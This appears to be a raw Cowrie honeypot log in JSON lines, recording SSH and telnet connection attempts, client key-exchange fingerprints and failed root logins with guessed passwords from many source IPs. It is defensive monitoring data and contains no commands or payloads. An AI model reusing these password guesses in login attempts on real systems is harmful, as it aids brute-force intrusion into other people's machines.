{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:15:04.866222Z","src_ip":"103.27.238.116","session":"8195a6e0714c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:15:04.885276Z","src_ip":"103.27.238.120","session":"7555c7b159fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20101987","message":"login attempt [root/20101987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:15:05.711626Z","src_ip":"103.27.238.116","session":"8195a6e0714c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"southpark","message":"login attempt [root/southpark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:15:05.725693Z","src_ip":"103.27.238.120","session":"7555c7b159fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:15:06.999354Z","src_ip":"103.27.238.116","session":"8195a6e0714c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:15:07.006496Z","src_ip":"103.27.238.120","session":"7555c7b159fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.861247301101685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:15:25.764675Z","src_ip":"77.74.204.204","session":"b436758af1b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":52174,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f30f1c2dc38","protocol":"telnet","message":"New connection: 180.235.129.180:52174 (10.17.0.5:23) [session: 2f30f1c2dc38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:15:33.767352Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":46752,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fad2da85cef","protocol":"ssh","message":"New connection: 37.233.85.71:46752 (10.17.0.5:22) [session: 5fad2da85cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:15:47.285162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:15:47.289729Z","src_ip":"37.233.85.71","session":"5fad2da85cef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:15:47.398738Z","src_ip":"37.233.85.71","session":"5fad2da85cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aigerim","message":"login attempt [root/aigerim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:15:47.713503Z","src_ip":"37.233.85.71","session":"5fad2da85cef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:15:48.820599Z","src_ip":"37.233.85.71","session":"5fad2da85cef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.644242525100708,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:15:53.411284Z","src_ip":"180.235.129.180","session":"2f30f1c2dc38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":30994,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c08d6656f73","protocol":"ssh","message":"New connection: 38.93.206.2:30994 (10.17.0.5:22) [session: 2c08d6656f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:16:04.564827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:16:04.570529Z","src_ip":"38.93.206.2","session":"2c08d6656f73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:16:04.622186Z","src_ip":"38.93.206.2","session":"2c08d6656f73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kasandra","message":"login attempt [root/kasandra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:16:04.785108Z","src_ip":"38.93.206.2","session":"2c08d6656f73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:16:05.841017Z","src_ip":"38.93.206.2","session":"2c08d6656f73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":45586,"dst_ip":"159.203.135.109","dst_port":23,"session":"61ba8ef95eee","protocol":"telnet","message":"New connection: 79.139.59.21:45586 (159.203.135.109:23) [session: 61ba8ef95eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:16:09.250908Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":35746,"dst_ip":"159.203.135.109","dst_port":22,"session":"77bab50ad73b","protocol":"ssh","message":"New connection: 193.37.70.224:35746 (159.203.135.109:22) [session: 77bab50ad73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:16:43.318591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:16:43.323374Z","src_ip":"193.37.70.224","session":"77bab50ad73b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:16:43.419785Z","src_ip":"193.37.70.224","session":"77bab50ad73b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789lol","message":"login attempt [root/123456789lol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:16:43.699023Z","src_ip":"193.37.70.224","session":"77bab50ad73b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:16:44.796629Z","src_ip":"193.37.70.224","session":"77bab50ad73b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.157944679260254,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:16:56.408742Z","src_ip":"79.139.59.21","session":"61ba8ef95eee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":33638,"dst_ip":"10.17.0.5","dst_port":22,"session":"08a4aa3dc9a9","protocol":"ssh","message":"New connection: 103.15.222.183:33638 (10.17.0.5:22) [session: 08a4aa3dc9a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:17:16.172745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:17:16.177771Z","src_ip":"103.15.222.183","session":"08a4aa3dc9a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:17:16.429406Z","src_ip":"103.15.222.183","session":"08a4aa3dc9a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12031993","message":"login attempt [root/12031993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:17:17.185108Z","src_ip":"103.15.222.183","session":"08a4aa3dc9a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:17:18.440483Z","src_ip":"103.15.222.183","session":"08a4aa3dc9a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":44126,"dst_ip":"10.17.0.5","dst_port":22,"session":"a80f7b7c8aae","protocol":"ssh","message":"New connection: 94.159.110.201:44126 (10.17.0.5:22) [session: a80f7b7c8aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:17:52.689507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:17:52.698389Z","src_ip":"94.159.110.201","session":"a80f7b7c8aae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:17:52.822253Z","src_ip":"94.159.110.201","session":"a80f7b7c8aae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sonata","message":"login attempt [root/sonata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:17:53.196737Z","src_ip":"94.159.110.201","session":"a80f7b7c8aae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52116,"dst_ip":"159.203.135.109","dst_port":23,"session":"e202f639638d","protocol":"telnet","message":"New connection: 69.4.83.194:52116 (159.203.135.109:23) [session: e202f639638d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:17:53.550530Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:17:54.324269Z","src_ip":"94.159.110.201","session":"a80f7b7c8aae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":34452,"dst_ip":"159.203.135.109","dst_port":22,"session":"479eeb8925f5","protocol":"ssh","message":"New connection: 62.133.62.83:34452 (159.203.135.109:22) [session: 479eeb8925f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:18:05.166886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:18:05.172411Z","src_ip":"62.133.62.83","session":"479eeb8925f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:18:05.254308Z","src_ip":"62.133.62.83","session":"479eeb8925f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nonono","message":"login attempt [root/nonono] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:18:05.514323Z","src_ip":"62.133.62.83","session":"479eeb8925f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:18:06.599378Z","src_ip":"62.133.62.83","session":"479eeb8925f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.43009805679321,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:18:27.980536Z","src_ip":"69.4.83.194","session":"e202f639638d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":46948,"dst_ip":"10.17.0.5","dst_port":22,"session":"045cc66a206d","protocol":"ssh","message":"New connection: 147.45.197.250:46948 (10.17.0.5:22) [session: 045cc66a206d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:18:47.912638Z"}
